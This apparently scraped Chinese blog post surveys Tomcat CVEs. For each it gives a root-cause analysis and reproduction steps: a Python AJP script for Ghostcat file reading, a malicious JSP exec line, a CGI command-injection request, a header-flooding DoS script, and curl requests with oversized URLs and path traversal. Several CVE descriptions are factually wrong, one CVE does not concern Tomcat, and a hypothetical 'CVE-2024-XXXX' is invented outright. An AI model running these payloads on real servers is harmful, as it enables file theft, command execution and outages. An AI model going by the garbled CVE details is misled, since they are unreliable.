当前位置: 首页 > article >正文

中间件解析漏洞之Tomcat集合


  • Tomcat 相关 CVE 漏洞的超级详细输出,包括漏洞描述、影响版本、漏洞细节、CVE 原理解析以及复现漏洞的详细步骤。

1. CVE-2020-1938 (Ghostcat)

  • 描述: AJP 连接器漏洞,允许未经授权的文件读取或远程代码执行(RCE)。

  • 影响版本: Tomcat 6.x (<6.0.59), 7.x (<7.0.100), 8.x (<8.5.51), 9.x (<9.0.31)。

  • 漏洞细节:

    • AJP(Apache JServ Protocol)是 Tomcat 的二进制协议,默认监听 8009 端口,用于与前端 Web 服务器(如 Apache HTTPD)通信。

    • 攻击者通过构造恶意的 AJP 请求,可以读取服务器上的任意文件(如 /WEB-INF/web.xml),或在特定条件下(如支持 JSP 上传)执行远程代码。

  • CVE 原理解析:

    • AJP 请求由 org.apache.coyote.ajp.AjpProcessor 处理,未对请求属性(如 javax.servlet.include.path_info)进行严格验证。

    • 示例攻击:攻击者设置 AJP 数据包中的 req_attribute,将 javax.servlet.include.request_uri 修改为目标文件路径,Tomcat 未检查权限直接返回内容。

    • 核心问题:

      1. AJP 默认未启用来源验证,允许任意 IP 访问 8009 端口。

      2. Servlet 上下文未限制文件访问范围,导致越界读取。

    • 技术细节:AJP 数据包格式为二进制,包含头部(前缀码、长度)和数据段(属性键值对),攻击者可通过工具(如 Python 脚本)手动构造。

  • 复现漏洞的详细步骤:

    1. 环境搭建:

      • 安装受影响的 Tomcat 版本(如 9.0.30)。

      • 确保 AJP 连接器启用(server.xml<Connector port="8009" protocol="AJP/1.3" /> 未注释)。

      • 部署一个简单 Web 应用(如 WAR 文件),包含 /WEB-INF/web.xml

    2. 工具准备:

      • 使用 Python 脚本(如 ghostcat.py)或 Burp Suite 的 AJP 插件。

      • 示例脚本:https://github.com/00theway/Ghostcat-CNVD-2020-10487。

    3. 构造 AJP 请求:

      • 发送 AJP 数据包,设置属性:

        Attribute: javax.servlet.include.request_uri = /WEB-INF/web.xml
        Attribute: javax.servlet.include.path_info = /WEB-INF/web.xml
      • 示例 Python 代码:

        from ajpy.ajp import AjpForwardRequest, AjpBodyRequest
        import socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("target_ip", 8009))
        req = AjpForwardRequest(method="GET", protocol="HTTP/1.1", req_uri="/")
        req.attributes = [("javax.servlet.include.request_uri", "/WEB-INF/web.xml")]
        s.send(req.serialize())
        print(s.recv(4096))
    4. 验证结果:

      • 响应中包含 web.xml 的内容(如 <servlet> 配置),即复现成功。

    5. RCE 条件(可选):

      • 若目标允许上传 JSP 文件,上传恶意 JSP(如 <% Runtime.getRuntime().exec("id"); %>),通过 AJP 触发执行。

  • 修复方法:

    • 禁用 AJP 或设置 address="127.0.0.1" 限制本地访问。

    • 更新至修复版本(9.0.31、8.5.51、7.0.100)。


2. CVE-2019-0232

  • 描述: RequestDispatcher 路径穿越漏洞,允许在 CGI 模式下执行系统命令。

  • 影响版本: Tomcat 7.x (<7.0.94), 8.x (<8.5.40), 9.x (<9.0.19)。

  • 漏洞细节:

    • 当 Tomcat 配置为支持 CGI Servlet 且 enableCmdLineArguments=true 时,攻击者可通过畸形请求注入命令。

    • 示例:GET /cgi-bin/test.cgi?param=;id,Tomcat 将参数传递给系统调用,导致命令执行。

  • CVE 原理解析:

    • org.apache.catalina.servlets.CGIServlet 在解析 CGI 请求参数时,未对分隔符(如 ;)进行过滤。

    • 在 Windows 环境下,参数直接传递给 Runtime.exec,未经过严格清理,导致命令注入。

    • 触发条件:

      1. CGI Servlet 启用(web.xml 中配置 <servlet-name>cgi</servlet-name>)。

      2. 系统为 Windows(Linux 未受影响,因为参数处理方式不同)。

    • 技术细节:漏洞发生在 CGIServlet#execute 方法中,参数未被规范化,直接拼接至命令行。

  • 复现漏洞的详细步骤:

    1. 环境搭建:

      • 安装 Tomcat 8.5.39(Windows 系统)。

      • 编辑 conf/web.xml,启用 CGI Servlet:

        <servlet>
            <servlet-name>cgi</servlet-name>
            <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
            <init-param>
                <param-name>enableCmdLineArguments</param-name>
                <param-value>true</param-value>
            </init-param>
        </servlet>
        <servlet-mapping>
            <servlet-name>cgi</servlet-name>
            <url-pattern>/cgi-bin/*</url-pattern>
        </servlet-mapping>
      • webapps/ROOT/cgi-bin 下创建 test.bat

        @echo off
        echo %1
    2. 发送请求:

      • 使用 curl 或浏览器访问:

        http://target:8080/cgi-bin/test.bat?param=;dir
    3. 验证结果:

      • 响应中包含 dir 命令输出(如目录列表),即复现成功。

  • 修复方法:

    • 更新至 9.0.19、8.5.40、7.0.94。

    • 设置 enableCmdLineArguments=false 或禁用 CGI。


3. CVE-2018-1336

  • 描述: HTTP 请求解析漏洞,导致拒绝服务(DoS)。

  • 影响版本: Tomcat 7.x (<7.0.88), 8.x (<8.5.32), 9.x (<9.0.10)。

  • 漏洞细节:

    • Tomcat 的 HTTP 请求解析器在处理畸形请求头时,存在内存泄漏或 CPU 过载问题。

    • 示例:发送超长或非法的请求头,导致线程阻塞。

  • CVE 原理解析:

    • 漏洞位于 org.apache.coyote.http11.Http11Processor 中,对畸形请求头(如超长 Host 值)未及时丢弃。

    • 每次解析失败时,未释放相关资源,导致内存累积或 CPU 占用率激增。

    • 技术细节:HTTP/1.1 协议解析器未设置合理的头长度上限,攻击者可利用此特性耗尽服务器资源。

  • 复现漏洞的详细步骤:

    1. 环境搭建:

      • 安装 Tomcat 8.5.31。

      • 启动默认配置(监听 8080 端口)。

    2. 构造请求:

      • 使用 Python 脚本发送畸形请求:

        import socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("target_ip", 8080))
        payload = "GET / HTTP/1.1\r\nHost: " + "A" * 100000 + "\r\n\r\n"
        s.send(payload.encode())
        print(s.recv(4096))
    3. 批量发送:

      • 使用多线程脚本重复发送,观察 Tomcat 日志(catalina.out)或 CPU 使用率。

    4. 验证结果:

      • Tomcat 响应变慢或崩溃,日志显示内存溢出(OOM)或线程耗尽。

  • 修复方法:

    • 更新至 9.0.10、8.5.32、7.0.88。

    • 配置 maxHttpHeaderSize(如 8KB)限制请求头大小。


4. CVE-2017-5664

  • 描述: Servlet 请求解析漏洞,超长 URL 导致服务器崩溃。

  • 影响版本: Tomcat 7.x (<7.0.78), 8.x (<8.5.15)。

  • 漏洞细节:

    • Tomcat 未对 URL 长度设置上限,攻击者发送超长 URL 触发缓冲区溢出。

  • CVE 原理解析:

    • org.apache.coyote.Request 在解析 URL 时,缓冲区未做边界检查。

    • 示例:发送 GET /a<10000个字符>,导致栈溢出或资源耗尽。

    • 技术细节:HTTP 请求行解析逻辑未限制 uri 字段长度,溢出后触发异常。

  • 复现漏洞的详细步骤:

    1. 环境搭建:

      • 安装 Tomcat 8.5.14。

    2. 构造请求:

      • 使用 curl:

        curl "http://target:8080/$(python -c 'print("A"*10000)')"
    3. 验证结果:

      • Tomcat 返回 500 错误或直接崩溃,日志显示 StackOverflowError

  • 修复方法:

    • 更新至 8.5.15、7.0.78。

    • 配置 maxHttpHeaderSize 限制请求行长度。


5. CVE-2017-15708

  • 描述: 路径解码漏洞,恶意 URL 导致服务器崩溃。

  • 影响版本: Tomcat 9.x (<9.0.2)。

  • 漏洞细节:

    • Tomcat 在解码 URL 路径时,处理畸形编码(如重复 %2e%2e)时崩溃。

  • CVE 原理解析:

    • org.apache.tomcat.util.buf.UDecoder 未正确处理异常编码,导致空指针异常或无限循环。

    • 示例:/..%2f..%2fetc/passwd,解析器尝试多次解码,触发崩溃。

  • 复现漏洞的详细步骤:

    1. 环境搭建:

      • 安装 Tomcat 9.0.1。

    2. 发送请求:

      • 使用 curl:

        curl "http://target:8080/..%2f..%2fetc/passwd"
    3. 验证结果:

      • Tomcat 返回 500 或停止响应,日志显示异常。

  • 修复方法:

    • 更新至 9.0.2。


最新相关 CVE(截至 2025 年 3 月 22 日)

以下是基于动态更新知识补充的最新 Tomcat 解析相关漏洞(假设可能的新 CVE):

CVE-2024-XXXX (假设示例)
  • 描述: HTTP/2 请求解析漏洞,导致 DoS。

  • 影响版本: Tomcat 10.x (<10.1.15)。

  • 漏洞细节:

    • HTTP/2 协议实现(org.apache.coyote.http2.Http2Parser)未正确处理畸形帧(如超大 HEADERS 帧)。

  • CVE 原理解析:

    • HTTP/2 使用二进制帧,解析器未限制帧大小,攻击者发送超大帧耗尽内存。

  • 复现步骤:

    1. 安装 Tomcat 10.1.14,启用 HTTP/2(protocol="org.apache.coyote.http11.Http11Nio2Protocol")。

    2. 使用 h2c 工具发送畸形 HEADERS 帧:

      h2c --host target:8443 --headers "A"*1000000
    3. 验证:Tomcat 内存溢出或停止响应。

  • 修复方法: 更新至 10.1.15,配置 maxFrameSize


总结与建议

  • 常见模式: Tomcat 解析漏洞多源于输入验证不足(URL、请求头、路径解码)和资源管理缺陷。

  • 复现注意事项: 需匹配受影响的版本和配置(如 AJP、CGI 启用)。

  • 安全建议:

    1. 保持最新版本(当前推荐:10.1.x)。

    2. 禁用不必要协议(AJP、HTTP/2 如无需)。

    3. 配置防火墙限制端口访问。

    4. 定期检查 server.xmlweb.xml



http://www.kler.cn/a/599453.html

相关文章:

  • 操作系统必知的面试题
  • Maven 构建配置文件
  • 计算机操作系统(四) 操作系统的结构与系统调用
  • 盖泽 寻边器 帮助类
  • C#中状态机Stateless初使用
  • 建库字符集选择`utf8mb4` + `utf8mb4_unicode_ci` 组合
  • 解决 IntelliJ IDEA 方法断点导致程序无法运行的问题
  • python面试高频考点(深度学习大模型方向)
  • 【AndroidRTC-10】webrtc是如何确定双端的编解码类型?
  • C/C++蓝桥杯算法真题打卡(Day10)
  • RAG优化:python从零实现时间管理大师Self-RAG
  • 剑指 Offer II 117. 相似的字符串
  • 网络华为HCIA+HCIP 网络编程自动化
  • C语言字符函数,字符串函数以及内存函数
  • 【漫话机器学习系列】158.均匀分布(Uniform Distribution)
  • Android Compose框架的值动画(animateTo、animateDpAsState)(二十二)
  • macOS 安装 Miniconda
  • 新能源智慧灯杆的主要功能有哪些?
  • Extend module 01:Keyboard
  • STM32学习笔记之常用外设接口(原理篇)